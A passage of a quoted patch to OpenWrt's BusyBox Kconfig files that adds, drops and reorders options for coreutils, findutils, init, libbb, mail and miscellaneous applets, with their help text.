> -	bool "sha512sum"
> -	default BUSYBOX_DEFAULT_SHA512SUM
> -	help
> -	  Compute and check SHA512 message digest
> -
> -config BUSYBOX_CONFIG_SHA3SUM
> -	bool "sha3sum"
> -	default BUSYBOX_DEFAULT_SHA3SUM
> +config BUSYBOX_CONFIG_SHUF
> +	bool "shuf"
> +	default BUSYBOX_DEFAULT_SHUF
>   	help
> -	  Compute and check SHA3 (512-bit) message digest
> -
> +	  Generate random permutations
>   config BUSYBOX_CONFIG_SLEEP
>   	bool "sleep"
>   	default BUSYBOX_DEFAULT_SLEEP
> @@ -749,7 +603,6 @@ config BUSYBOX_CONFIG_FEATURE_FLOAT_SLEEP
>   	depends on BUSYBOX_CONFIG_FEATURE_FANCY_SLEEP
>   	help
>   	  Allow for fractional numeric parameters.
> -
>   config BUSYBOX_CONFIG_SORT
>   	bool "sort"
>   	default BUSYBOX_DEFAULT_SORT
> @@ -767,7 +620,6 @@ config BUSYBOX_CONFIG_FEATURE_SORT_BIG
>   
>   	  The SuSv3 sort standard is available at:
>   	  http://www.opengroup.org/onlinepubs/007904975/utilities/sort.html
> -
>   config BUSYBOX_CONFIG_SPLIT
>   	bool "split"
>   	default BUSYBOX_DEFAULT_SPLIT
> @@ -782,25 +634,56 @@ config BUSYBOX_CONFIG_FEATURE_SPLIT_FANCY
>   	  Add support for features not required by SUSv3.
>   	  Supports additional suffixes 'b' for 512 bytes,
>   	  'g' for 1GiB for the -b option.
> +config BUSYBOX_CONFIG_STAT
> +	bool "stat"
> +	default BUSYBOX_DEFAULT_STAT
> +	help
> +	  display file or filesystem status.
> +
> +config BUSYBOX_CONFIG_FEATURE_STAT_FORMAT
> +	bool "Enable custom formats (-c)"
> +	default BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
> +	depends on BUSYBOX_CONFIG_STAT
> +	help
> +	  Without this, stat will not support the '-c format' option where
> +	  users can pass a custom format string for output. This adds about
> +	  7k to a nonstatic build on amd64.
>   
> +config BUSYBOX_CONFIG_FEATURE_STAT_FILESYSTEM
> +	bool "Enable display of filesystem status (-f)"
> +	default BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
> +	depends on BUSYBOX_CONFIG_STAT
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX # statfs()
> +	help
> +	  Without this, stat will not support the '-f' option to display
> +	  information about filesystem status.
>   config BUSYBOX_CONFIG_STTY
>   	bool "stty"
>   	default BUSYBOX_DEFAULT_STTY
>   	help
>   	  stty is used to change and print terminal line settings.
> -
>   config BUSYBOX_CONFIG_SUM
>   	bool "sum"
>   	default BUSYBOX_DEFAULT_SUM
>   	help
>   	  checksum and count the blocks in a file
> -
> +config BUSYBOX_CONFIG_SYNC
> +	bool "sync"
> +	default BUSYBOX_DEFAULT_SYNC
> +	help
> +	  sync is used to flush filesystem buffers.
> +config BUSYBOX_CONFIG_FEATURE_SYNC_FANCY
> +	bool "Enable -d and -f flags (requires syncfs(2) in libc)"
> +	default BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
> +	depends on BUSYBOX_CONFIG_SYNC
> +	help
> +	  sync -d FILE... executes fdatasync() on each FILE.
> +	  sync -f FILE... executes syncfs() on each FILE.
>   config BUSYBOX_CONFIG_TAC
>   	bool "tac"
>   	default BUSYBOX_DEFAULT_TAC
>   	help
>   	  tac is used to concatenate and print files in reverse.
> -
>   config BUSYBOX_CONFIG_TAIL
>   	bool "tail"
>   	default BUSYBOX_DEFAULT_TAIL
> @@ -820,7 +703,6 @@ config BUSYBOX_CONFIG_FEATURE_FANCY_TAIL
>   	    -s SEC  Wait SEC seconds between reads with -f
>   	    -v      Always output headers giving file names
>   	    -F      Same as -f, but keep retrying
> -
>   config BUSYBOX_CONFIG_TEE
>   	bool "tee"
>   	default BUSYBOX_DEFAULT_TEE
> @@ -834,20 +716,95 @@ config BUSYBOX_CONFIG_FEATURE_TEE_USE_BLOCK_IO
>   	depends on BUSYBOX_CONFIG_TEE
>   	help
>   	  Enable this option for a faster tee, at expense of size.
> +config BUSYBOX_CONFIG_TEST
> +	bool "test"
> +	default BUSYBOX_DEFAULT_TEST
> +	help
> +	  test is used to check file types and compare values,
> +	  returning an appropriate exit code. The bash shell
> +	  has test built in, ash can build it in optionally.
> +
> +config BUSYBOX_CONFIG_TEST1
> +	bool "test as ["
> +	default BUSYBOX_DEFAULT_TEST1
> +	help
> +	  Provide test command in the "[ EXPR ]" form
> +
> +config BUSYBOX_CONFIG_TEST2
> +	bool "test as [["
> +	default BUSYBOX_DEFAULT_TEST2
> +	help
> +	  Provide test command in the "[[ EXPR ]]" form
> +
> +config BUSYBOX_CONFIG_FEATURE_TEST_64
> +	bool "Extend test to 64 bit"
> +	default BUSYBOX_DEFAULT_FEATURE_TEST_64
> +	depends on BUSYBOX_CONFIG_TEST || BUSYBOX_CONFIG_TEST1 || BUSYBOX_CONFIG_TEST2 || BUSYBOX_CONFIG_ASH_BUILTIN_TEST || BUSYBOX_CONFIG_HUSH
> +	help
> +	  Enable 64-bit support in test.
> +config BUSYBOX_CONFIG_TOUCH
> +	bool "touch"
> +	default BUSYBOX_DEFAULT_TOUCH
> +	help
> +	  touch is used to create or change the access and/or
> +	  modification timestamp of specified files.
> +
> +config BUSYBOX_CONFIG_FEATURE_TOUCH_NODEREF
> +	bool "Add support for -h"
> +	default BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
> +	depends on BUSYBOX_CONFIG_TOUCH
> +	help
> +	  Enable touch to have the -h option.
> +	  This requires libc support for lutimes() function.
> +
> +config BUSYBOX_CONFIG_FEATURE_TOUCH_SUSV3
> +	bool "Add support for SUSV3 features (-d -t -r)"
> +	default BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
> +	depends on BUSYBOX_CONFIG_TOUCH
> +	help
> +	  Enable touch to use a reference file or a given date/time argument.
> +config BUSYBOX_CONFIG_TR
> +	bool "tr"
> +	default BUSYBOX_DEFAULT_TR
> +	help
> +	  tr is used to squeeze, and/or delete characters from standard
> +	  input, writing to standard output.
>   
> +config BUSYBOX_CONFIG_FEATURE_TR_CLASSES
> +	bool "Enable character classes (such as [:upper:])"
> +	default BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
> +	depends on BUSYBOX_CONFIG_TR
> +	help
> +	  Enable character classes, enabling commands such as:
> +	  tr [:upper:] [:lower:] to convert input into lowercase.
> +
> +config BUSYBOX_CONFIG_FEATURE_TR_EQUIV
> +	bool "Enable equivalence classes"
> +	default BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
> +	depends on BUSYBOX_CONFIG_TR
> +	help
> +	  Enable equivalence classes, which essentially add the enclosed
> +	  character to the current set. For instance, tr [=a=] xyz would
> +	  replace all instances of 'a' with 'xyz'. This option is mainly
> +	  useful for cases when no other way of expressing a character
> +	  is possible.
>   config BUSYBOX_CONFIG_TRUE
>   	bool "true"
>   	default BUSYBOX_DEFAULT_TRUE
>   	help
>   	  true returns an exit code of TRUE (0).
> -
> +config BUSYBOX_CONFIG_TRUNCATE
> +	bool "truncate"
> +	default BUSYBOX_DEFAULT_TRUNCATE
> +	help
> +	  truncate truncates files to a given size. If a file does
> +	  not exist, it is created unless told otherwise.
>   config BUSYBOX_CONFIG_TTY
>   	bool "tty"
>   	default BUSYBOX_DEFAULT_TTY
>   	help
>   	  tty is used to print the name of the current terminal to
>   	  standard output.
> -
>   config BUSYBOX_CONFIG_UNAME
>   	bool "uname"
>   	default BUSYBOX_DEFAULT_UNAME
> @@ -861,44 +818,36 @@ config BUSYBOX_CONFIG_UNAME_OSNAME
>   	help
>   	  Sets the operating system name reported by uname -o.  The
>   	  default BUSYBOX_DEFAULT_UNAME_OSNAME "GNU/Linux".
> -
> -config BUSYBOX_CONFIG_UNEXPAND
> -	bool "unexpand"
> -	default BUSYBOX_DEFAULT_UNEXPAND
> -	help
> -	  By default, convert only leading sequences of blanks to tabs.
> -
> -config BUSYBOX_CONFIG_FEATURE_UNEXPAND_LONG_OPTIONS
> -	bool "Enable long options"
> -	default BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
> -	depends on BUSYBOX_CONFIG_UNEXPAND && BUSYBOX_CONFIG_LONG_OPTS
> -	help
> -	  Support long options for the unexpand applet.
> -
>   config BUSYBOX_CONFIG_UNIQ
>   	bool "uniq"
>   	default BUSYBOX_DEFAULT_UNIQ
>   	help
>   	  uniq is used to remove duplicate lines from a sorted file.
> -
> +config BUSYBOX_CONFIG_UNLINK
> +	bool "unlink"
> +	default BUSYBOX_DEFAULT_UNLINK
> +	help
> +	  unlink deletes a file by calling unlink()
>   config BUSYBOX_CONFIG_USLEEP
>   	bool "usleep"
>   	default BUSYBOX_DEFAULT_USLEEP
>   	help
>   	  usleep is used to pause for a specified number of microseconds.
> -
>   config BUSYBOX_CONFIG_UUDECODE
>   	bool "uudecode"
>   	default BUSYBOX_DEFAULT_UUDECODE
>   	help
>   	  uudecode is used to decode a uuencoded file.
> -
> +config BUSYBOX_CONFIG_BASE64
> +	bool "base64"
> +	default BUSYBOX_DEFAULT_BASE64
> +	help
> +	  Base64 encode and decode
>   config BUSYBOX_CONFIG_UUENCODE
>   	bool "uuencode"
>   	default BUSYBOX_DEFAULT_UUENCODE
>   	help
>   	  uuencode is used to uuencode a file.
> -
>   config BUSYBOX_CONFIG_WC
>   	bool "wc"
>   	default BUSYBOX_DEFAULT_WC
> @@ -912,14 +861,25 @@ config BUSYBOX_CONFIG_FEATURE_WC_LARGE
>   	depends on BUSYBOX_CONFIG_WC
>   	help
>   	  Use "unsigned long long" in wc for counter variables.
> +config BUSYBOX_CONFIG_WHO
> +      bool "who"
> +      default BUSYBOX_DEFAULT_WHO
> +      depends on BUSYBOX_CONFIG_FEATURE_UTMP
> +      help
> +        who is used to show who is logged on.
>   
> +config BUSYBOX_CONFIG_USERS
> +      bool "users"
> +      default BUSYBOX_DEFAULT_USERS
> +      depends on BUSYBOX_CONFIG_FEATURE_UTMP
> +      help
> +        Print users currently logged on.
>   config BUSYBOX_CONFIG_WHOAMI
>   	bool "whoami"
>   	default BUSYBOX_DEFAULT_WHOAMI
>   	help
>   	  whoami is used to print the username of the current
>   	  user id (same as id -un).
> -
>   config BUSYBOX_CONFIG_YES
>   	bool "yes"
>   	default BUSYBOX_DEFAULT_YES
> @@ -971,17 +931,4 @@ config BUSYBOX_CONFIG_FEATURE_HUMAN_READABLE
>   	help
>   	  Allow df, du, and ls to have human readable output.
>   
> -comment "Common options for md5sum, sha1sum, sha256sum, sha512sum, sha3sum"
> -	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
> -
> -config BUSYBOX_CONFIG_FEATURE_MD5_SHA1_SUM_CHECK
> -	bool "Enable -c, -s and -w options"
> -	default BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
> -	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
> -	help
> -	  Enabling the -c options allows files to be checked
> -	  against pre-calculated hash values.
> -
> -	  -s and -w are useful options when verifying checksums.
> -
>   endmenu
> diff --git a/package/utils/busybox/config/findutils/Config.in b/package/utils/busybox/config/findutils/Config.in
> index 85ee1db..7d636d1 100644
> --- a/package/utils/busybox/config/findutils/Config.in
> +++ b/package/utils/busybox/config/findutils/Config.in
> @@ -194,28 +194,22 @@ config BUSYBOX_CONFIG_GREP
>   	help
>   	  grep is used to search files for a specified pattern.
>   
> -config BUSYBOX_CONFIG_FEATURE_GREP_EGREP_ALIAS
> -	bool "Enable extended regular expressions (egrep & grep -E)"
> -	default BUSYBOX_DEFAULT_FEATURE_GREP_EGREP_ALIAS
> -	depends on BUSYBOX_CONFIG_GREP
> +config BUSYBOX_CONFIG_EGREP
> +	bool "egrep"
> +	default BUSYBOX_DEFAULT_EGREP
>   	help
> -	  Enabled support for extended regular expressions. Extended
> -	  regular expressions allow for alternation (foo|bar), grouping,
> -	  and various repetition operators.
> +	  Alias to "grep -E"
>   
> -config BUSYBOX_CONFIG_FEATURE_GREP_FGREP_ALIAS
> -	bool "Alias fgrep to grep -F"
> -	default BUSYBOX_DEFAULT_FEATURE_GREP_FGREP_ALIAS
> -	depends on BUSYBOX_CONFIG_GREP
> +config BUSYBOX_CONFIG_FGREP
> +	bool "fgrep"
> +	default BUSYBOX_DEFAULT_FGREP
>   	help
> -	  fgrep sees the search pattern as a normal string rather than
> -	  regular expressions.
> -	  grep -F always works, this just creates the fgrep alias.
> +	  Alias to "grep -F"
>   
>   config BUSYBOX_CONFIG_FEATURE_GREP_CONTEXT
>   	bool "Enable before and after context flags (-A, -B and -C)"
>   	default BUSYBOX_DEFAULT_FEATURE_GREP_CONTEXT
> -	depends on BUSYBOX_CONFIG_GREP
> +	depends on BUSYBOX_CONFIG_GREP || BUSYBOX_CONFIG_EGREP
>   	help
>   	  Print the specified number of leading (-B) and/or trailing (-A)
>   	  context surrounding our matching lines.
> diff --git a/package/utils/busybox/config/init/Config.in b/package/utils/busybox/config/init/Config.in
> index 021656d..cd1a345 100644
> --- a/package/utils/busybox/config/init/Config.in
> +++ b/package/utils/busybox/config/init/Config.in
> @@ -45,15 +45,27 @@ config BUSYBOX_CONFIG_FEATURE_BOOTCHARTD_CONFIG_FILE
>   	  Enable reading and parsing of $PWD/bootchartd.conf
>   	  and /etc/bootchartd.conf files.
>   config BUSYBOX_CONFIG_HALT
> -	bool "poweroff, halt, and reboot"
> +	bool "halt"
>   	default BUSYBOX_DEFAULT_HALT
>   	help
> -	  Stop all processes and either halt, reboot, or power off the system.
> +	  Stop all processes and halt the system.
> +
> +config BUSYBOX_CONFIG_POWEROFF
> +	bool "poweroff"
> +	default BUSYBOX_DEFAULT_POWEROFF
> +	help
> +	  Stop all processes and power off the system.
> +
> +config BUSYBOX_CONFIG_REBOOT
> +	bool "reboot"
> +	default BUSYBOX_DEFAULT_REBOOT
> +	help
> +	  Stop all processes and reboot the system.
>   
>   config BUSYBOX_CONFIG_FEATURE_CALL_TELINIT
>   	bool "Call telinit on shutdown and reboot"
>   	default BUSYBOX_DEFAULT_FEATURE_CALL_TELINIT
> -	depends on BUSYBOX_CONFIG_HALT && !BUSYBOX_CONFIG_INIT
> +	depends on (BUSYBOX_CONFIG_HALT || BUSYBOX_CONFIG_POWEROFF || BUSYBOX_CONFIG_REBOOT) && !BUSYBOX_CONFIG_INIT
>   	help
>   	  Call an external program (normally telinit) to facilitate
>   	  a switch to a proper runlevel.
> @@ -143,7 +155,7 @@ config BUSYBOX_CONFIG_FEATURE_EXTRA_QUIET
>   
>   config BUSYBOX_CONFIG_FEATURE_INIT_COREDUMPS
>   	bool "Support dumping core for child processes (debugging only)"
> -	default BUSYBOX_DEFAULT_FEATURE_INIT_COREDUMPS
> +	default BUSYBOX_DEFAULT_FEATURE_INIT_COREDUMPS	# not Y because this is a debug option
>   	depends on BUSYBOX_CONFIG_INIT || BUSYBOX_CONFIG_LINUXRC
>   	help
>   	  If this option is enabled and the file /.init_enable_core
> diff --git a/package/utils/busybox/config/libbb/Config.in b/package/utils/busybox/config/libbb/Config.in
> index 0695f9b..ec08351 100644
> --- a/package/utils/busybox/config/libbb/Config.in
> +++ b/package/utils/busybox/config/libbb/Config.in
> @@ -45,6 +45,30 @@ config BUSYBOX_CONFIG_FEATURE_RTMINMAX
>   	  Support RTMIN[+n] and RTMAX[-n] signal names
>   	  in kill, killall etc. This costs ~250 bytes.
>   
> +choice
> +	prompt "Buffer allocation policy"
> +	default BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
> +	help
> +	  There are 3 ways BusyBox can handle buffer allocations:
> +	  - Use malloc. This costs code size for the call to xmalloc.
> +	  - Put them on stack. For some very small machines with limited stack
> +	    space, this can be deadly. For most folks, this works just fine.
> +	  - Put them in BSS. This works beautifully for computers with a real
> +	    MMU (and OS support), but wastes runtime RAM for uCLinux. This
> +	    behavior was the only one available for BusyBox versions 0.48 and
> +	    earlier.
> +
> +config BUSYBOX_CONFIG_FEATURE_BUFFERS_USE_MALLOC
> +	bool "Allocate with Malloc"
> +
> +config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
> +	bool "Allocate on the Stack"
> +
> +config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_IN_BSS
> +	bool "Allocate in the .bss section"
> +
> +endchoice
> +
>   config BUSYBOX_CONFIG_PASSWORD_MINLEN
>   	int "Minimum password length"
>   	default BUSYBOX_DEFAULT_PASSWORD_MINLEN
> @@ -191,6 +215,131 @@ config BUSYBOX_CONFIG_FEATURE_EDITING_ASK_TERMINAL
>   	  correctly, or want to save on code size (about 400 bytes),
>   	  then do not turn this option on.
>   
> +config BUSYBOX_CONFIG_LOCALE_SUPPORT
> +	bool "Enable locale support (system needs locale for this to work)"
> +	default BUSYBOX_DEFAULT_LOCALE_SUPPORT
> +	help
> +	  Enable this if your system has locale support and you would like
> +	  busybox to support locale settings.
> +
> +config BUSYBOX_CONFIG_UNICODE_SUPPORT
> +	bool "Support Unicode"
> +	default BUSYBOX_DEFAULT_UNICODE_SUPPORT
> +	help
> +	  This makes various applets aware that one byte is not
> +	  one character on screen.
> +
> +	  Busybox aims to eventually work correctly with Unicode displays.
> +	  Any older encodings are not guaranteed to work.
> +	  Probably by the time when busybox will be fully Unicode-clean,
> +	  other encodings will be mainly of historic interest.
> +
> +config BUSYBOX_CONFIG_UNICODE_USING_LOCALE
> +	bool "Use libc routines for Unicode (else uses internal ones)"
> +	default BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && BUSYBOX_CONFIG_LOCALE_SUPPORT
> +	help
> +	  With this option on, Unicode support is implemented using libc
> +	  routines. Otherwise, internal implementation is used.
> +	  Internal implementation is smaller.
> +
> +config BUSYBOX_CONFIG_FEATURE_CHECK_UNICODE_IN_ENV
> +	bool "Check $LC_ALL, $LC_CTYPE and $LANG environment variables"
> +	default BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
> +	help
> +	  With this option on, Unicode support is activated
> +	  only if locale-related variables have the value of the form
> +	  "xxxx.utf8"
> +
> +	  Otherwise, Unicode support will be always enabled and active.
> +
> +config BUSYBOX_CONFIG_SUBST_WCHAR
> +	int "Character code to substitute unprintable characters with"
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> +	default BUSYBOX_DEFAULT_SUBST_WCHAR
> +	help
> +	  Typical values are 63 for '?' (works with any output device),
> +	  30 for ASCII substitute control code,
> +	  65533 (0xfffd) for Unicode replacement character.
> +
> +config BUSYBOX_CONFIG_LAST_SUPPORTED_WCHAR
> +	int "Range of supported Unicode characters"
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> +	default BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
> +	help
> +	  Any character with Unicode value bigger than this is assumed
> +	  to be non-printable on output device. Many applets replace
> +	  such characters with substitution character.
> +
> +	  The idea is that many valid printable Unicode chars
> +	  nevertheless are not displayed correctly. Think about
> +	  combining charachers, double-wide hieroglyphs, obscure
> +	  characters in dozens of ancient scripts...
> +	  Many terminals, terminal emulators, xterms etc will fail
> +	  to handle them correctly. Choose the smallest value
> +	  which suits your needs.
> +
> +	  Typical values are:
> +	  126 - ASCII only
> +	  767 (0x2ff) - there are no combining chars in [0..767] range
> +			(the range includes Latin 1, Latin Ext. A and B),
> +			code is ~700 bytes smaller for this case.
> +	  4351 (0x10ff) - there are no double-wide chars in [0..4351] range,
> +			code is ~300 bytes smaller for this case.
> +	  12799 (0x31ff) - nearly all non-ideographic characters are
> +			available in [0..12799] range, including
> +			East Asian scripts like katakana, hiragana, hangul,
> +			bopomofo...
> +	  0 - off, any valid printable Unicode character will be printed.
> +
> +config BUSYBOX_CONFIG_UNICODE_COMBINING_WCHARS
> +	bool "Allow zero-width Unicode characters on output"
> +	default BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> +	help
> +	  With this option off, any Unicode char with width of 0
> +	  is substituted on output.
> +
> +config BUSYBOX_CONFIG_UNICODE_WIDE_WCHARS
> +	bool "Allow wide Unicode characters on output"
> +	default BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> +	help
> +	  With this option off, any Unicode char with width > 1
> +	  is substituted on output.
> +
> +config BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
> +	bool "Bidirectional character-aware line input"
> +	default BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
> +	help
> +	  With this option on, right-to-left Unicode characters
> +	  are treated differently on input (e.g. cursor movement).
> +
> +config BUSYBOX_CONFIG_UNICODE_NEUTRAL_TABLE
> +	bool "In bidi input, support non-ASCII neutral chars too"
> +	default BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
> +	depends on BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
> +	help
> +	  In most cases it's enough to treat only ASCII non-letters
> +	  (i.e. punctuation, numbers and space) as characters
> +	  with neutral directionality.
> +	  With this option on, more extensive (and bigger) table
> +	  of neutral chars will be used.
> +
> +config BUSYBOX_CONFIG_UNICODE_PRESERVE_BROKEN
> +	bool "Make it possible to enter sequences of chars which are not Unicode"
> +	default BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> +	help
> +	  With this option on, on line-editing input (such as used by shells)
> +	  invalid UTF-8 bytes are not substituted with the selected
> +	  substitution character.
> +	  For example, this means that entering 'l', 's', ' ', 0xff, [Enter]
> +	  at shell prompt will list file named 0xff (single char name
> +	  with char value 255), not file named '?'.
> +
>   config BUSYBOX_CONFIG_FEATURE_NON_POSIX_CP
>   	bool "Non-POSIX, but safer, copying to special nodes"
>   	default BUSYBOX_DEFAULT_FEATURE_NON_POSIX_CP
> @@ -215,6 +364,19 @@ config BUSYBOX_CONFIG_FEATURE_VERBOSE_CP_MESSAGE
>   	    cp: cannot stat '/vmlinuz/file': Not a directory
>   	  This will cost you ~60 bytes.
>   
> +config BUSYBOX_CONFIG_FEATURE_USE_SENDFILE
> +	bool "Use sendfile system call"
> +	default BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  When enabled, busybox will use the kernel sendfile() function
> +	  instead of read/write loops to copy data between file descriptors
> +	  (for example, cp command does this a lot).
> +	  If sendfile() doesn't work, copying code falls back to read/write
> +	  loop. sendfile() was originally implemented for faster I/O
> +	  from files to sockets, but since Linux 2.6.33 it was extended
> +	  to work for many more file types.
> +
>   config BUSYBOX_CONFIG_FEATURE_COPYBUF_KB
>   	int "Copy buffer size, in kilobytes"
>   	range 1 1024
> diff --git a/package/utils/busybox/config/mailutils/Config.in b/package/utils/busybox/config/mailutils/Config.in
> index 64b9a2b..7e77407 100644
> --- a/package/utils/busybox/config/mailutils/Config.in
> +++ b/package/utils/busybox/config/mailutils/Config.in
> @@ -1,20 +1,11 @@
>   # DO NOT EDIT. This file is generated from Config.src
>   menu "Mail Utilities"
>   
> -
>   config BUSYBOX_CONFIG_MAKEMIME
>   	bool "makemime"
>   	default BUSYBOX_DEFAULT_MAKEMIME
>   	help
>   	  Create MIME-formatted messages.
> -
> -config BUSYBOX_CONFIG_FEATURE_MIME_CHARSET
> -	string "Default charset"
> -	default BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
> -	depends on BUSYBOX_CONFIG_MAKEMIME || BUSYBOX_CONFIG_REFORMIME || BUSYBOX_CONFIG_SENDMAIL
> -	help
> -	  Default charset of the message.
> -
>   config BUSYBOX_CONFIG_POPMAILDIR
>   	bool "popmaildir"
>   	default BUSYBOX_DEFAULT_POPMAILDIR
> @@ -31,7 +22,6 @@ config BUSYBOX_CONFIG_FEATURE_POPMAILDIR_DELIVERY
>   	  of the message before actual delivery (-F "prog [args...]").
>   	  Allow to use a custom program for message actual delivery
>   	  (-M "prog [args...]").
> -
>   config BUSYBOX_CONFIG_REFORMIME
>   	bool "reformime"
>   	default BUSYBOX_DEFAULT_REFORMIME
> @@ -45,11 +35,17 @@ config BUSYBOX_CONFIG_FEATURE_REFORMIME_COMPAT
>   	help
>   	  Accept (for compatibility only) and ignore options
>   	  other than -x and -X.
> -
>   config BUSYBOX_CONFIG_SENDMAIL
>   	bool "sendmail"
>   	default BUSYBOX_DEFAULT_SENDMAIL
>   	help
>   	  Barebones sendmail.
>   
> +config BUSYBOX_CONFIG_FEATURE_MIME_CHARSET
> +	string "Default charset"
> +	default BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
> +	depends on BUSYBOX_CONFIG_MAKEMIME || BUSYBOX_CONFIG_REFORMIME || BUSYBOX_CONFIG_SENDMAIL
> +	help
> +	  Default charset of the message.
> +
>   endmenu
> diff --git a/package/utils/busybox/config/miscutils/Config.in b/package/utils/busybox/config/miscutils/Config.in
> index 3465df4..817a514 100644
> --- a/package/utils/busybox/config/miscutils/Config.in
> +++ b/package/utils/busybox/config/miscutils/Config.in
> @@ -6,259 +6,6 @@
>   
>   menu "Miscellaneous Utilities"
>   
> -config BUSYBOX_CONFIG_CONSPY
> -	bool "conspy"
> -	default BUSYBOX_DEFAULT_CONSPY
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  A text-mode VNC like program for Linux virtual terminals.
> -	  example:  conspy NUM      shared access to console num
> -	  or        conspy -nd NUM  screenshot of console num
> -	  or        conspy -cs NUM  poor man's GNU screen like
> -config BUSYBOX_CONFIG_CROND
> -	bool "crond"
> -	default BUSYBOX_DEFAULT_CROND
> -	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> -	help
> -	  Crond is a background daemon that parses individual crontab
> -	  files and executes commands on behalf of the users in question.
> -	  This is a port of dcron from slackware. It uses files of the
> -	  format /var/spool/cron/crontabs/<username> files, for example:
> -	      $ cat /var/spool/cron/crontabs/root
> -	      # Run daily cron jobs at 4:40 every day:
> -	      40 4 * * * /etc/cron/daily > /dev/null 2>&1
> -
> -config BUSYBOX_CONFIG_FEATURE_CROND_D
> -	bool "Support option -d to redirect output to stderr"
> -	depends on BUSYBOX_CONFIG_CROND
> -	default BUSYBOX_DEFAULT_FEATURE_CROND_D
> -	help
> -	  -d N sets loglevel (0:most verbose) and directs all output to stderr.
> -
> -config BUSYBOX_CONFIG_FEATURE_CROND_CALL_SENDMAIL
> -	bool "Report command output via email (using sendmail)"
> -	default BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
> -	depends on BUSYBOX_CONFIG_CROND
> -	help
> -	  Command output will be sent to corresponding user via email.
> -
> -config BUSYBOX_CONFIG_FEATURE_CROND_DIR
> -	string "crond spool directory"
> -	default BUSYBOX_DEFAULT_FEATURE_CROND_DIR
> -	depends on BUSYBOX_CONFIG_CROND || BUSYBOX_CONFIG_CRONTAB
> -	help
> -	  Location of crond spool.
> -config BUSYBOX_CONFIG_I2CGET
> -	bool "i2cget"
> -	default BUSYBOX_DEFAULT_I2CGET
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Read from I2C/SMBus chip registers.
> -
> -config BUSYBOX_CONFIG_I2CSET
> -	bool "i2cset"
> -	default BUSYBOX_DEFAULT_I2CSET
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Set I2C registers.
> -
> -config BUSYBOX_CONFIG_I2CDUMP
> -	bool "i2cdump"
> -	default BUSYBOX_DEFAULT_I2CDUMP
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Examine I2C registers.
> -
> -config BUSYBOX_CONFIG_I2CDETECT
> -	bool "i2cdetect"
> -	default BUSYBOX_DEFAULT_I2CDETECT
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Detect I2C chips.
> -
> -config BUSYBOX_CONFIG_LESS
> -	bool "less"
> -	default BUSYBOX_DEFAULT_LESS
> -	help
> -	  'less' is a pager, meaning that it displays text files. It possesses
> -	  a wide array of features, and is an improvement over 'more'.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_MAXLINES
> -	int "Max number of input lines less will try to eat"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
> -	depends on BUSYBOX_CONFIG_LESS
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_BRACKETS
> -	bool "Enable bracket searching"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
> -	depends on BUSYBOX_CONFIG_LESS
> -	help
> -	  This option adds the capability to search for matching left and right
> -	  brackets, facilitating programming.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_FLAGS
> -	bool "Enable -m/-M"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
> -	depends on BUSYBOX_CONFIG_LESS
> -	help
> -	  The -M/-m flag enables a more sophisticated status line.
> -
> -config BUSYBOX_CONFIG_FEATURE_LESS_TRUNCATE
> -	bool "Enable -S"
> -	default BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
> -	depends on BUSYBOX_CONFIG_LESS
> -	help
